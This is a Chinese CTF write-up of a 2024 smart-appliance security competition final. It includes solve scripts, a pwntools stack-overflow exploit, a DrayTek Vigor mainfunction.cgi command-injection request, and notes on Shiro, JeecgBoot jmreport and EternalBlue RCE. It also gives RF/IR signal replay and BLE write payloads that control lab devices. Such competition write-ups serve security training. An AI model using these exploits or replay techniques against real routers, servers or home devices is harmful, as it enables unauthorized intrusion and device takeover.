2024年中国工业互联网安全大赛智能家电赛道选拔赛|线下决赛Writeup
背景
大赛由国家高端智能化家用电器创新中心、深圳信息通信研究院(中国信息通信研究院南方分院)、青岛未来网络创新技术有限公司主办,青岛国创臻测检验检测有限公司承办,博智安全科技股份有限公司协办。30支战队从100余支预赛队伍中脱颖而出,最终6支战队获得赛事奖金,3支队伍晋级2024中国工业互联网安全大赛全国总决赛。
随着智能家电的不断迭代升级,网络安全攻击事件层出不穷,智能家电的安全防护与每一位消费者息息相关。中国科学院院士郑建华在致辞中表示:本届工业互联网安全大赛将智能家电行业纳入赛道颇具开创意义,这不仅是对该领域技术实力的一次全面检阅,更是对未来智能家居生态安全防线构建的一次重要探索。参赛设计上充分体现了前沿性与实用性的结合,体现了国家级网络安全赛事的含金量。
作为家电行业首届国家级安全赛事,大赛获得了国家工信部、山东省工信厅、山东省通信管理局、青岛市通信管理局、青岛市工信局、青岛市网信办等多级政府部门的鼎力支持,其成功举办,意义非凡。
日程安排
很幸运的是队友@kood和@kagi都有空去青岛玩一趟,太给力啦🫡
赛制规则
根据参赛手册可以发现线下决赛是理论赛+CTF+物联网智能家居场景实战赛
赛前准备
7.30决赛,7.26早上10:11主办方博智安全发布了参赛指南,仔细读完发现需要选手自行准备SDR设备,猜测物联网智能家居场景实战赛大概率是有无线电射频相关的场景。
好在平时鼓捣过Hackrf、RTL-SDR、Flipper Zero、BLE嗅探的设备,从角落里翻出来一些设备,还有从马哥@leommxj那借来的,勉强凑了一套可以对付物联网智能家居场景实战赛的物件。
好在最后都用上了。
比赛场地
选手区域
物联网智能家居场景实战赛区域
比赛题目
理论题
早上10:00-11:00科目一(理论题),由于线下是断网的,我们提前准备好了SecGPT的大模型。
但最后发现,95%的理论题还是得靠自己hhh
CTF
一共有10道题,在我们做完理论题之后发现已经有几道题的一血没有了。因为题目是有一二三血加成的,所以和队友选了几个没人做的题目,很幸运拿到了几道题目的一血,之后再开始做其他的题目。
RSA 基础
看到 e=3 可以直接对 c 进行开立方,发现刚好能开出来。
import gmpy2
from Crypto.Util.number import * from base64 import *
e1 = 3
c1 = 2827056665014448546240303358430702781105139992086596241191323534174218773209741 7472618572311588373937560357553977668428914284208110754075221771331093888638843 8765148683666503760319981604000841079147612861242547174901151960326185178594145 7962725759651213083966670743098932372984029810922052514350164867883555570051009 76024481986488241332897816063646036029173817781914329777829
print(gmpy2.iroot(c1, 3)) print(long_to_bytes(656313752307990131365787154252678312440880959492578048405960002 38398080197060964289848310387246640775974243313435441078939709)) a=b'cHZrcXs3MnAwMWwwNTlvMzE3N285MWszN2sxNGw1bW5sbTczM30='
print(b64decode(a))
然后再ROT解密
最终得到flag{72f01b059e3177e91a37a14b5cdbc733}
简单逆向
ida 打开就看到了flag{4607035602F84FFA}
固件恶意修改
使用 7z 进行解压,很明显发现 lib 文件夹被动过。
然后!!进去一个个翻 so 文件!!苍天哪
不过最后还是找到了,是 libc.so,orz,我太菜了
逻辑清晰合理。所以解出来很合理。
a='717B76706C41434D5A597C4626597D4D5559417C6E417D4226744242264079422559426F26 6A'
a=bytes.fromhex(a)
a = [i ^ 0x17 for i in a]
print(a)
print(bytes(a))
最终得到flag{VTZMNkQ1NjZBNVkyVjU1cUU1WnU2NUx1}
恶意流量分析
这道题花费了很长时间,自动化分析流量的程序也没筛选出来关键字,不过最终人工找到关键蚁剑 shell 马,位于流 87
找到关键核心 flag 释放流,位于 96(根据 97 的流量返回内容可以知道)
重放 96 的请求包,在 tmp 目录下发现 flag。
最终得到flag{D4572AA3A3D97DDEABD52DF47DA3AD0F}
安卓逆向工程
这个地方是 flag 存放位置。
前面 32 位是 md5,后面 19 位是 c 的 22:41
所以可以直接提取flag{NmYLrIIoL6faArJk}
UDP 协议分析
追踪UDP流之后直接base64解密
BLE 协议分析
定位到蓝牙连接认证过程中Link Key的位置就可以看到dfc370110ba0a83ba1dffefcbab6616c
用得到的Link Key来解密压缩包
最终得到flag{JD9MHCMG7VS59WUW0RWCY49QB26BC3SU}
异常工控流量
打开以后发现是modbus协议的流量
并且细心的你可以很快发现存在写多个线圈的操作(0x16),如果你再细心一些会发现写了一张图片的hex进去。那么接下来需要做的事情就是把所有写入线圈的数据提取出来即可。
# -*- coding: utf-8 -*-
# @Author : 1cePeak
import binascii
data = [35152,20039,3338,6666,0,13,18760,17490,0,1800,0,200,2050,0,115,48674,60160,33,19529,17473,21624,40172,56683,29782,54657,14320,4098,33796,47492,29225,8324,266,2568,3786,44352,25960,43938,1445,34978,20011,54710,10920,52396,55937,10755,5404,37225,26480,57701,44183,42260,21664,33512,41142,20491,17665,16785,35588,582,20718,17089,641,9360,58461,52156,12143,22062,53049,47392,18894,61431,10703,15995,61363,29598,62241,60319,32073,51407,53135,768,0,136,37624,62269,....,32968,63807,256,255,65299,47428,46525,52312,20224,0,73,17742,17582,16992]
s = ''
for i in data:
s += (hex(i)[2:].zfill(4))
open('flag.png','w').write(binascii.a2b_hex(s))
会得到一个图种png,使用binwalk或者foremost分离三张图片,打开第二张图片即可得到flag
物联网智能家居场景实战赛
智能制造
应用逻辑异常
解析js
业务系统
使用Shiro反序列化工具rce即可
报表服务
Jeect-boot积木报表系统,由于未授权的API接口/jmreport/queryFieldBySql
使用了freemarker解析SQL语句从而导致了RCE漏洞的产生。
这道题目的环境权限较低,需要提权后再读flag文件,@Kagi大哥经过一系列的尝试,最终发现可以SUID提权。
智能智造上位机
MSF 17-010,直接打永恒之蓝。但是我们队伍的环境一直打不通,赛后问了几支队伍也打不通0rz
我和@Kood开玩笑说比赛结束罚@Kagi打十遍永恒之蓝
PS:@Kagi说他回去要苦练内网渗透
物联网
sonic_swtich_交换机
存在栈溢出,结合 main 中的 main 地址泄露,可以绕过账号密码,直接进入 AuthLoginOK 函数
from pwn import *
# p = process('./pwn')
p = remote('192.17.2.50', 6888) p.recvuntil('=0x')
addr = p.recvline().strip() main_addr = int(addr, 16) print(hex(main_addr))
AuthLoginOK_offset = 0x95
AuthLoginOK = main_addr - AuthLoginOK_offset
print('AuthLoginOK:', hex(AuthLoginOK)) p.sendline(b'a'*0x28 + p64(AuthLoginOK))
p.interactive()
vigor_router_路由器
根据题目提示,存在命令执行,可以从数据库中搜索一波。很容易找到 Vigor 3900 rce 漏洞。 漏洞点在 mainfunction.cgi 中,由于 system 函数未作严格的参数过滤,导致可以用${IFS}绕过来执行命令。
漏洞点很多,这里是找到的一个
追踪后,发现对应 action 是
于是可以构造命令执行,获取flag
from requests import *
cmd = 'ls -al /' cmd = 'cat /flag.txt'
cmd = cmd.replace(' ', '${IFS}')
r = post('http://192.17.2.68/cgi-bin/mainfunction.cgi', data = "action=login&keyPath=%27%0A%2fbin%2f" + cmd + "%0A%27&loginUser=a&loginPwd=a")
print(r.text)
智能家居
根据参赛手册要求,如果一支队伍可以达到920分,可以挑战6次。每个区域的设备成功一个即可得分。
我们AK了CTF场景的题目,得到了物联网智能家居场景实战赛3次上台挑战机会。
由于我们队伍很早就达到了240分,没记错的话我们是第一个上台挑战的队伍,每次机会有30min,挑战场景如下:
区域A(窗帘和洗衣机)
第一次我选了区域A,窗帘和洗衣机。
观察了一下桌面上放的遥控器,国内无线遥控器常用的频率为315MHz或者433MHz。
- 使用Flipper Zero的频率分析仪看一下这款遥控器的频率范围,在433Mhz附近。
- 使用Flipper Zero录制无线遥控器的信号。
- 重放录制好的窗帘开关信号,窗帘成功的被控制了。
当然用hackrf也可以,直接嗅探、重放一条龙。
区域F(门铃和空调)
第二次我选了区域F,门铃和空调。
观察了一下桌面上放的空调遥控器(红外)和门铃遥控器(无线)。
无线门铃
- 使用Flipper Zero的频率分析仪看一下这款遥控器的频率范围,在433Mhz附近。
- 使用Flipper Zero录制无线遥控器的信号。
- 重放录制好的门铃信号,门铃就可以被任意操控了。
hackrf同理,也可以实现这个效果。
由于时间比较充足,顺带玩了一下空调的设备。
格力空调
- 使用Flipper Zero的红外线模块录制遥控器信号。
- 发现Flipper Zero有响应,信号录制完成。
- 重放录制好的空调信号,可以看到空调完全被操控了。
区域B(智能灯泡和冰箱)
第三次我选了区域B,智能灯泡和冰箱。
主办方提供了一个手机(已装好灯泡APP),可以用蓝牙控制的智能灯泡,通过蓝牙下发指令来控制开关和灯泡的颜色。
这里有两个嗅探BLE的方案:
- Hollong && Wireshark嗅探蓝牙数据
- nRF Sniffer && Wireshark嗅探蓝牙数据
当开始嗅探蓝牙数据以后,使用主办方提供的APP来开关灯泡和控制灯泡颜色。可以看到智能灯泡的MAC地址是08:65:F0:6E:AE:35
,筛选该设备的蓝牙数据之后可以少很多干扰因素。
通过多次发送开关请求分析可以发现对应的Payload
效果 | Handle | Payload |
---|---|---|
开灯 | 0xFF01 | 0x000180000003040a715495 |
关灯 | 0xFF01 | 0x000180000003040a712495 |
并且可以从数据包中看出它属于Service 0xffff
,句柄ID为0xFF01
后,便可以尝试对其句柄Value进行写入操作,Macos/Linux可以外接Linux免驱的蓝牙适配器(CSR 4.0)使用gattool
或者nRF Connect
来重放指令,从而实现未授权的远程控制灯泡开关操作。
指令发送完就可以看到灯泡开启和关闭了(博智安全的小哥哥在挑战过程中还贴心的帮忙把灯泡颜色调成了骚粉色hhh)
区域D 电视机和机顶盒
机顶盒
- 通过ADB连上去查看已安装的APK
- 再找到能够播放视频的软件
- 调起软件的Activity播放
/sdcard/
目录下的tv.mp4视频
比赛小结
虽然在比赛结束前1h仍然是第一,但是最后1h被反超了比分,最终拿到了二等奖(第三名),痛失一等奖4w💰
非常感谢博智安全和国家高端智能化家用电器创新中心举办的这场比赛,物联网智能家居场景实战赛玩的很爽,下次有机会还来玩🤤
写在最后
营口路海鲜市场+胖姐啤酒屋真的是绝配!!!
很高兴和曾经一起并肩作战的CTer们@Kood、@Kagi、@H3h3QAQ、@Seal、@Shangu参加了这次线下比赛🥳
欲买桂花同载酒🍻,终不似,少年游🍃